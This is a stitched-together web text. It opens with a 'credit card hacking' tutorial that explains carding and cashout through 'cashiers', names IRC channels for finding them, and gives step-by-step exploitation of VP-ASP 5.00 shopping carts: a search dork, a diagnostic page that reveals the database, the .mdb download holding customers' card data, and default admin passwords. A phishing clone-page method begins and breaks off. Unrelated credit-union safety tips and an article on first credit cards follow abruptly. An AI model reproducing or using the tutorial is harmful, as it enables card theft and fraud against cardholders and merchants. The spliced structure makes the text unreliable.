Credit Card Hacking

 Here will be explained all methods used to hack credit cards and bank accounts with lots of $$ it. Now I'm sure most of you think that this is fake or scam, but i want to just tell u this is real and the only working method (in my opinion) to hack a credit card and make your wish come true (lol, hope it doesn't sound like a commercial). <

This tutorial is divided in two parts.

Introduction into Credit Cards

Credit card Hacking

Note: Hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial. This post is for educational purposes only.

Lets start with some easy terms.

What is credit card ?

Credit cards are of two types:

Debit Card

Credit Card

1. Debit means u have a sum of amount in it and u can use them.

2. Credit means u have a credit line limit like of $10000 and u can use them and by the end of month pay it to bank.

To use a credit card on internet u just not need cc number and expiry but u need many info like :

First name

Last name

Address

City

State

Zip

Country

Phone

CC number

Expiry

CVV2 ( this is 3digit security code on backside after signature panel )

If you get that info you can use that to buy any thing on internet, like software license, porn site membership, proxy membership, or any thing (online services usually, like webhosting, domains).

If u want to make money $ through hacking then you need to be very lucky... you need to have a exact bank and bin to cash that credit card through ATM machines.

Let me explain how ?

First study some simple terms.

BINS = first 6 digit of every credit card is called " BIN " (for example cc number is : 4121638430101157 then its bin is " 412163 "), i hope this is easy to understand.

Now the question is how to make money through credit cards. Its strange..., well you cant do that, but there is specific persons in world who can do that. They call them selves " cashiers ". You can take some time to find a reliable cashiers.

Now the question is every bank credit cards are cashable and every bin is cashable? Like citibank, bank of america , mbna .. are all banks are cashables ? Well answer is " NO ". If u know some thing, a little thing about banking system, have u ever heard what is ATM machines? Where u withdraw ur cash by putting ur card in.

Every bank don't have ATM, every bank don't support ATM machines cashout. Only few banks support with their few bins (as u know bin is first 6 digit of any credit / debit card number), for suppose bank of america. That bank not have only 1 bin, that bank is assigned like, 412345 412370 are ur bins u can make credit cards on them. So bank divide the country citi location wise, like from 412345 - 412360 is for americans, after that for outsiders and like this. I hope u understand. So all bins of the same bank are even not cashable, like for suppose they support ATM in New York and not in California, so like the bins of California of same bank will be uncashable. So always make sure that the bins and banks are 100% cashable in market by many cashiers.

Be sure cashiers are legit, because many cashiers r there which take your credit card and rip u off and don't send your 50% share back.

You can also find some cashiers on mIRC *( /server irc.unixirc.net:6667 ) channel : #cashout, #ccpower

Well, check the website where u have list of bins and banks mostly 101% cashable. If u get the credit card of the same bank with same bin, then u can cashout otherwise not . Remember for using credit card on internet u don't need PIN ( 4 words password which u enter in ATM Machine ), but for cashout u need. You can get pins only by 2nd method of hacking which i still not post but i will. First method of sql injection and shopadmin hacking don't provide with pins, it only give cc numb cvv2 and other info which usually need for shopping not for cashing.

Credit Card Hacking

CC (Credit Cards) can be hacked by two ways:

Credit Card Scams ( usually used for earning money , some times for shopping )

Credit Card Shopadmin Hacking ( just for fun, knowledge, shopping on internet )

1. Shopadmin Hacking 

This method is used for testing the knowledge or for getting the credit card for shopping on internet, or for fun, or any way but not for cashing ( because this method don't give PIN - 4 digit passcode ) only gives cc numb , cvv2 and other basic info.

Shopadmins are of different companies, like: VP-ASP , X CART, etc. This tutorial is for hacking VP-ASP SHOP.

I hope u seen whenever u try to buy some thing on internet with cc, they show u a well programmed form, very secure. They are carts, like vp-asp xcarts. Specific sites are not hacked, but carts are hacked.

Below I'm posting tutorial to hack VP ASP cart. Now every site which use that cart can be hacked, and through their *mdb file u can get their clients 'credit card details', and also login name and password of their admin area, and all other info of clients and comapny secrets.

Lets start:

Type: VP-ASP Shopping Cart

Version: 5.00

How to find VP-ASP 5.00 sites?

Finding VP-ASP 5.00 sites is so simple...

1. Go to google.com and type: VP-ASP Shopping Cart 5.00

2. You will find many websites with VP-ASP 5.00 cart software installed

Now let's go to the exploit..

The page will be like this: ****://***.victim.com/shop/shopdisplaycategories.asp

The exploit is: diag_dbtest.asp

Now you need to do this: ****://***.victim.com/shop/diag_dbtest.asp

A page will appear contain those:

xDatabase

shopping140

xDblocation

resx

xdatabasetypexEmailxEmail NamexEmailSubjectxEmailSy stemxEmailTypexOrdernumbe r

Example:

The most important thing here is xDatabase

xDatabase: shopping140

Ok, now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb

If you didn't download the Database, try this while there is dblocation:

xDblocation

resx

the url will be: ****://***.victim.com/shop/resx/shopping140.mdb

If u see the error message you have to try this :

****://***.victim.com/shop/shopping500.mdb

Download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com, or use MS Office Access.

Inside you should be able to find credit card information, and you should even be able to find the admin username and password for the website.

The admin login page is usually located here: ****://***.victim.com/shop/shopadmin.asp

If you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all, then try to find the admin login page and enter the default passwords which are:

Username: admin

password: admin

OR

Username: vpasp

password: vpasp

2. Hacking Through Scams

This method is usually used to hack for earning money. What happens in this method is you create a clone page.

Target: its basically eBay.com or paypal.com for general credit cards, or if u want to target any specific cashable bank like regionbank.com then u have to create a clone page for that bank.

Online safetYYY

Online Shopping

Online shopping is convenient, easy, and quick. However, the Internet has unique risks, so it is important to take steps to protect yourself when shopping online.

Tune up your defenses.

Check sellers out.

Make sure the site is legitimate.

Take advantage of security features.

Protect your personal information.

Use safe payment options.

Keep a paper trail.

Turn your computer off when you’re finished shopping.

Be wary of emails requesting information.

Tune up your defenses.

Before you shop online, make sure you have a security suite (firewall, anti-virus and anti-spyware) installed and updated with the most current information.  Also, keep your operating system and Web browser up-to-date. Apply the highest level of security available that still gives you the functionality you need.

Check sellers out.

Conduct independent research before you buy from a seller you have never done business with. Some attackers try to trick you by creating malicious Web sites that appear legitimate, so you should verify the site before supplying any information. Locate and note phone numbers and physical addresses of vendors in case there is a problem with your transaction or your bill. Search for merchant reviews.

Make sure the site is legitimate. 

Before you enter your personal and financial information to make an online transaction, look for signs that the site is secure. This includes a closed padlock on your Web browser’s address bar or a URL address that begins with shttp or https. This indicates that the purchase is encrypted or secured. Never use unsecured wireless networks to make an online purchase. Check out this GetNetWise tutorial for more info. 

Take advantage of security features. 

Passwords and other security features add layers of protection if used appropriately. In a rush to complete a transaction with a new vendor, it is tempting to create a simple password that you won’t forget. However, it is not hard to create complex, yet easily remembered passwords.

Protect your personal information.

When making a purchase online, be alert to the kinds of information being collected to complete the transaction. Make sure you think it is necessary for the vendor to request that information. Remember, you only need to fill out required fields on a vendors checkout form. Before providing personal or financial information, check the Web site's privacy policy. Make sure you understand how your information will be stored and used.

Use safe payment options.

Credit cards are generally the safest option because they allow buyers to seek a credit from the issuer if the product isn’t delivered or isn’t what was ordered. Also, unlike debit cards, credit cards may have a limit on the monetary amount you will be responsible for paying if your information is stolen and used by someone else. Never send cash through the mail or use a money-wiring service because you’ll have no recourse if something goes wrong.  Don’t forget to review return policies. You want a no-hassle ability to return items.

Keep a paper trail.

Print and save records of your online transactions, including the product description, price, online receipt, terms of the sale, and copies of any email exchange with the seller. Read your credit card statements as soon as you get them to make sure there aren’t any unauthorized charges. If there is a discrepancy, call your bank and report it immediately.

Turn your computer off when you’re finished shopping.

Many people leave their computers running and connected to the Internet all day and night. This gives scammers 24/7 access to your computer to install malware and commit cyber crimes. To be safe, turn off your computer when you are not using it.

Be wary of emails requesting information.

Attackers may attempt to gather information by sending emails requesting that you confirm purchase or account information.  Legitimate businesses will not solicit this type of information through email. Contact the merchant directly if you are alerted to a problem. Use contact information found on your account statement, not in the email. 

Using Your Credit Card Safely for Internet Purchases

SAFETY MEASURES

You may be a veteran online shopper, or you might be just contemplating making your first credit card purchase over the Internet. Either way, you should take certain precautions when using your credit card online.

In most cases, using your credit card online is just as safe as charging purchases at your favorite store. There are safeguards you can use to prevent fraud and abuse when charging items online. The following will help you have peace of mind as you shop the Internet.

Designate one credit card exclusively for online use. This will enable you to track your online charges, and to easily identify Internet credit card fraud if it occurs.

When ordering online, print and save the receipt. Compare this receipt to your monthly credit card statement.

When you receive your monthly credit card statement, review it carefully. Contact the credit card company immediately with any discrepancies.

Immediately report to your credit card company any lost or stolen credit cards or any fraudulent activity with your card.

Do business only with secure sites. These sites use encryption when submitting data over the Internet. Computer users can quickly identify whether a site is using encryption by looking for the closed lock or closed key symbol in the browser. If the lock or key are closed, the site is using encryption software and is secure. Do not send your credit card information unless the site is secure. Although encrypted sites do not guarantee against fraudulent activity, the encryption should prevent your personal information from being stolen before it arrives at the intended site.

It is never a good idea to send your credit card information by email. If there is no other way to get the credit card information to the intended user, it is a good idea to send parts of the information in multiple emails, i.e., send half your number in one email, half in a second email and the expiration date in a third email.

When using passwords, do not use common names or your Social Security number. Mix letters (upper and lower case) and numbers whenever possible.

Try to do business with reputable sites only. Although this may be difficult over the Internet, trust your instincts. If the site does not appear legitimate or if the offer is "too good to be true," don't take the chance on ordering.

If fraudulent activity occurs with your credit card, excluding electronic funds transfer (ATM), you will be responsible only for the first $50 of fraudulent charges (per card). Many financial institutions will waive this fee if asked.

Overall the Internet is a fairly safe place to do online credit card shopping. Follow the guidelines above, and always check your monthly statements against your records of what you actually purchased.

Securities offered by Affinity Investment Services, LLC, 73 Mountain View Boulevard, Basking Ridge, NJ 07920, member FINRA/SIPC. Investments offered by Affinity Investment Services are not deposits or obligations of Affinity Federal Credit Union. They are NOT NCUA INSURED and NOT GUARANTEED by Affinity Federal Credit Union or any governmental agency and are subject to INVESTMENT RISK, including LOSS of PRINCIPAL. Investments may lose value. Affinity Investment Services, LLC is a wholly owned subsidiary of Affinity Federal Credit Union. Business Continuity Disclosure Statement.

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How To Get Your First Credit Card

Eighteen is a liberating age. You're legally an adult. You can vote. And, you can get a credit card. As eager as you may be to get your first credit card, many credit card companies aren't so eager to give you one. Rather than putting in several credit card applications, target just a few companies that are known for giving credit cards to first-timers.

Credit cards for students

The sad truth is, credit card companies are more than willing to dole out credit cards to college students. If you're enrolled in college, you have a very good chance of getting approved for a student credit card. Be wary, credit card companies are notorious forpreying on college students. Start with only one credit card, no matter how many other offers you get. 

Look closely at student credit card offers. Some of them are awful deals – high interest rates, annual fees – with a student label attached to make you think the credit card is just for you. That’s not necessarily true. A great first credit card has a lower APR, no annual fee, and may not have student in the title.

Best Credit Cards for Students

The bank of your checking or savings account

If you've been responsible with a checking or savings account, you can try applying for a credit card at your bank. Talk to a bank representative about opening up your first credit card. Having an existing relationship will improve your chances at getting a credit card application approved. You could simply apply online, but visiting a bank branch would put you face-to-face with a representative who may have more authority to get your application approved.

A department store or gas credit card

Department stores and gas companies typically have easy credit card approval. This can make getting your first credit card less complicated. On the downside, they have high interest rates that make it expensive to carry a balance from one month to the next.

Another downside of these cards is that you can only use them for that store or gas station. They limit what you can purchase, but encourages you to go on a spending spree by offering discounts.

Tips For Using Department Store and Gas Credit Cards

A secured credit card

When your (lack of) credit history keeps you from getting a standard credit card, you can apply for a secured credit card. With a secured credit card, you make a deposit against the credit limit of the account. The bank holds the deposit just in case you don't make your payments as agreed. Many credit card issuers will convert your secured credit card to an unsecured one as long as you make your monthly payments on time. Don’t worry that a secured credit card will hurt your chances at getting other credit cards – there’s nothing on your credit report to indicate you have a secured credit card.

How To Choose a Secured Credit Card

How to Qualify

If you're over age 18, but under 21, the Credit CARD Act of 2009 requires the credit card issuer to confirm that you have your own income before they give you a credit card. And starting October 1, 2011, you can’t qualify for a credit card using mom and dad’s income, even if they’re going to pay your credit card bill. Your source of income can be a part-time job making just $300 a week, but the credit card company has to decide that your income is enough for the credit limit you're given. 

Applicants under 21 without their own income can only get a credit card with a co-signer over 21 who does have the right income.

Choose a Credit Card for Moderate or Limited Credit

Certain websites review credit cards and include the type of credit history you must have to get approved for that credit card. If you have limited credit history or a fair credit score, look for credit cards that accept applicants with moderate credit to improve your chances of getting approved for a credit card. There’s no use applying for a credit card that requires excellent credit because you’re more likely to be denied.